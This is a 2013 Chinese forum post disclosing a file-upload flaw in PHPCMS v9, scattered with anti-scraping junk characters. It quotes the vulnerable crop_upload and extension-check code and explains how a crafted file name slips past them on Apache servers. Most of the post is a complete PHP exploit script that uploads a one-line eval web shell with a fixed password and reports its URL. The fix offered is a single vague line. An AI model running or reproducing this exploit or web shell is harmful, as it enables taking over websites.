找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2334|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
2 u0 J: s3 t9 J5 G
/ z) o4 j' {8 z简要描述:' N# @0 |, j: l6 k) [( N$ u5 Q
0 b, L' `2 b$ H  U
phpcms v9 getshell (apache)3 H1 ?1 ^2 d* F) \' J0 B/ v( p
详细说明:7 B* p1 I5 }+ P, S: g0 z9 I
" c4 ^: z7 F# }+ G. g
漏洞文件:phpcms\modules\attachment\attachments.php
: g7 ?8 f8 W5 O  G, e2 l
6 F0 v5 B  a/ Y$ O, b0 {' wpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 7 ^! ~" H# p2 Y) Q# ]+ i0 C9 k5 i
后缀检测:phpcms\modules\attachment\functions\global.func.php9 x$ J) B( v: |4 e4 ~: h% E
0 X7 \4 I+ w3 J# T

4 W* E3 @* q, _1 c# |8 Z
! p5 T: k9 s( {- D, C, Vfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  . n' j6 ^: v% c* |2 e

0 F6 S9 w1 @0 q: }: ?7 L4 U关键函数:( G) C. ?+ p" _, S
- D) H! n. u* f2 r' P5 U# Z
: j. m- f! z6 f
5 r+ Z$ @' S0 U- l  G( D2 F% T1 M. A
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  * j1 {: r, V! r7 a" G

! m% q1 @  g5 O7 u' ^3 _; O  Fileext函数是对文件后缀名的提取。
/ r( Z& Y6 Q# C. n$ a8 P5 U! T$ b$ M根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
+ k5 Q4 j& g( A经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
" W9 w" |5 F% ~$ E; V我们回到public function crop_upload() 函数中6 @& q/ j4 j3 \1 q! [
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
" U2 d$ g* ^$ t( \在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数$ v2 k( l+ {* S
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
2 l& _8 d+ a( o经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
) K7 S7 B+ \0 d+ b# D6 Z) }最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
' l( O4 T5 N$ I! o1 Q& X- G9 {看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
/ o7 z# u* `( `: ^0 G/ c% Y; n漏洞证明:
8 ]3 I9 W* n7 y6 F) A5 D; o$ v9 s9 a; h
- w0 B) g. {# E5 c: kexp:
! `( ~/ M4 R; V3 A& t
+ N% b3 v: v8 n& r! F  O( D8 H<?php( a3 t& j2 U1 v7 P9 R) R9 B5 [
error_reporting(E_ERROR);
% h9 r' q$ f* }3 jset_time_limit(0);5 \: r1 ?1 P4 t8 j* f0 S; C1 d
$pass="ln";. G2 ?' {8 r) M) M0 f2 N
print_r('
: W; g- q+ s' `* i+---------------------------------------------------------------------------+- c, a+ c1 o6 S: x( i: B& ~# c# _" e
PHPCms V9 GETSHELL 0DAY
! t* f: A# F8 u; F4 S/ m& qcode by L.N.
* o6 ]: \9 E0 ~" S( Q; `: B! y* ]( ?7 W: \
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net$ l# z* i7 M* u) V% ^* T/ s5 {2 p
+---------------------------------------------------------------------------+0 v& K4 q. D% h2 Y" o$ Z9 Q0 Y
');
3 f, b- y+ C2 I% O% [9 rif ($argc < 2) {
* F2 w4 _& t# Q7 O" yprint_r('* P4 G) M& m% a8 a1 ?8 T5 Q/ v6 M
+---------------------------------------------------------------------------+! G" K  F: b7 ?! C
Usage: php '.$argv[0].' url path" i* a4 m- m4 h+ e* g

$ w& ]' U9 @/ l- J6 w+ pExample:
$ C2 D# i- H% o$ q: S7 s( \7 H1.php '.$argv[0].' lanu.sinaapp.com9 ~; J9 X- F" |1 E( h( L7 W6 _
2.php '.$argv[0].' lanu.sinaapp.com /phpcms; n$ ~5 a* R8 p/ S+ l
+---------------------------------------------------------------------------+, s: K: B& I# a& V' r
');* l: ]2 R8 B/ n+ v, B, j
exit;' f( r; T5 n! ?$ y, n" H' b: a
}9 X8 b& p; T6 K
# b) L: H7 W# I
$url = $argv[1];4 _+ l, k9 [0 e1 \3 k' B) `
$path = $argv[2];; Q9 s" P- K' U; |6 Z, t$ O; R( D
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 Z5 `  B% `# M. B
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
3 w+ ^% p2 o% @+ H# j/ Jif($ret=Create_dir($url,$path))- f- I- f$ T7 G$ p& Z; z
{
5 q; L/ R/ d* O7 w; k//echo $ret;
) @% a8 K6 r7 D4 W  e6 d/ a0 f" B& D* C$pattern = "|Server:[^,]+?|U";3 q2 w7 g: F$ Z) ?- v) g4 w
preg_match_all($pattern, $ret, $matches);& |8 q, ~7 P3 k+ }
if($matches[0][0])1 e, ~% ]/ V* ]) r( g1 Y
{
: m4 C9 b8 W# hif(strpos($matches[0][0],'Apache') == false)
7 [3 n- i9 W! d; ^{) x8 [* g# i4 }8 @( n
echo "\n亲!此网站不是apache的网站。\n";exit;
* K2 H/ O/ N4 h8 b  F}
! ^" V4 s8 W2 C3 E}- ~! P' v) o8 L  R$ D
$ret = GetShell($url,$phpshell,$path,$file);
3 F& W9 }- k) Z) Z0 a! [; n+ F% d0 D$pattern = "|http:\/\/[^,]+?\.,?|U";
& H/ S% y2 j; W$ s8 _preg_match_all($pattern, $ret, $matches);4 s. ^. [" B. Y# F0 o; S$ m1 E
if($matches[0][0])' U* Y# z3 f4 ~: [4 I( F! v0 l
{
& w: E* G0 K6 Iecho "\n".'密码为: '.$pass."\n";
; X- \/ t! B" u* z. w* techo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
" @5 J" ]/ P' o6 A  }}( F5 N  y, a* y" d
else& }" h: p0 D, O$ s
{( e3 x! D6 d" j/ z" X6 \8 Z
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";! C4 }. F8 p. H5 @% o8 N% f3 [8 K
preg_match_all($pattern, $ret, $matches);
: U( Y  L( \5 R/ @! i3 x+ Sif($matches[0][0])9 ^2 T8 h, {! K1 b, p
{8 x0 b/ T7 H2 q
echo "\n".'密码为: '.$pass."\n";) r8 P, G* T4 D
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( I& J  I7 c, h0 P" Q
}
/ m3 a/ V4 D3 @8 D) W  C  ~# l: Gelse' v. r, ?4 m! K* O1 [. e
{, I- j; |0 s( k
echo "\r\n没得到!\n";exit;( P: ~# z  V7 `5 w: \6 Z
}
1 f- y( ]# G! v. y% W}
% o. u0 \% }3 ]}4 q, M0 Q- z% O0 Z) {) H1 R: B; h
5 h7 Z0 B, C0 b
function GetShell($url,$shell,$path,$js)8 r9 E1 G: S4 B- U9 e
{  d* Y$ \* j. b1 e
$content =$shell;
3 N- G7 Q2 x3 `$ ?+ u) N) p8 ^4 \/ s$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
' I# ?- P& H8 G; X8 f( i$data .= "Host: ".$url."\r\n";! A  Y2 f$ `! \" l3 X
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";" }) \& a) S( M* `5 U
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
% N- m1 h$ a7 Y$ I7 {! v4 f& `$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";, F0 c5 j9 \6 X
$data .= "Connection: close\r\n";
5 g, |' s, d: p7 h) B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) Y1 a8 |) z. ~6 g/ @6 R6 S$data .= $content."\r\n";3 a8 {% C" F* c; P/ O' s
$ock=fsockopen($url,80);
* h( o% V' X% T1 V. t; [8 y; b0 Sif (!$ock)& t% b) Z  x/ R, ]5 u
{' ?. [0 b5 b; R5 v' D: r: a' v
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 K* z% ^9 J8 P: _}4 s: d; C7 E7 o6 n  G
else
4 `1 h3 ^- V+ W, X{! y5 i1 M" ?5 k4 Y5 B: M9 L% ]% S* `
fwrite($ock,$data);
, |% U* k0 J4 U, I$ T2 c6 T3 B2 `2 R$resp = '';
4 o" W' w% q; _9 v5 ~/ J, jwhile (!feof($ock)), R/ B' d. P1 r8 C: h
{% u( P1 m5 q/ O3 m! |$ X
$resp.=fread($ock, 1024);3 m4 q" q* X8 q5 T+ }0 I' Z- v
}. @4 ]# y; y7 X1 l4 ^% @" n, T
return $resp;
* g, [. s+ D  F- K$ t7 Y. l}
8 B7 Y, p! B/ j* [' R}6 U5 E& r& ~: o& M: v! ~! w& S
5 N2 q& u6 a- P4 |0 k9 ?1 H0 q4 y
function Create_dir($url,$path='')# ^7 T+ O) l- F0 ~% u
{
8 m$ _3 Y: N: w/ W. d$content ='I love you';6 P+ H% X) j- F7 X
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";; ?! y; F; S/ B* \. E- M
$data .= "Host: ".$url."\r\n";# b& D4 I) P3 N. l4 H
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- r& g; z  i3 L7 p$ ^
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; C. M) f4 V! z2 _' P$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
* r1 h( B6 H* A( S9 G4 a' ?2 I$data .= "Connection: close\r\n";  A( ]6 @9 h2 K  h5 v
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 J) x0 ~; t9 a
$data .= $content."\r\n";
  y8 `: d6 }) X6 o$ock=fsockopen($url,80);3 n8 p8 H- `9 m. Q2 v( |# \
if (!$ock)
) K6 I; d3 A5 h* A: y  s{' X& K7 A1 \4 M8 K) _7 }# P
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
  w7 p: x  W4 Z; G2 O+ b}
$ U6 z6 A& Y3 F* v( w7 C1 ^fwrite($ock,$data);( \- J2 w/ h4 {% a- I: |
$resp = '';
/ ~3 y6 p$ U7 K, M1 g. c4 Iwhile (!feof($ock))' ?  g4 S0 k& I3 w
{# s! k" K) v, l% o3 f- ?9 V
$resp.=fread($ock, 1024);
' |/ z* z7 N- Q  E}
0 i7 U# N; \% zreturn $resp;2 k7 Q0 C) s. G/ \% ]2 N6 }' Y6 q; a
}9 f2 d. V( A% Z2 n- J9 K! m6 o
?> 6 Q; w" C  }) L
7 q: Q0 ]' `/ m8 G0 \
修复方案:" V: r. U5 {1 z/ h# m3 H% u

" u- C, w/ M* a! V& M! [1 t过滤过滤再过滤
; q) `- o' x; z# H) }& ~; ]6 U
/ J  c" L: h: p0 w, `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表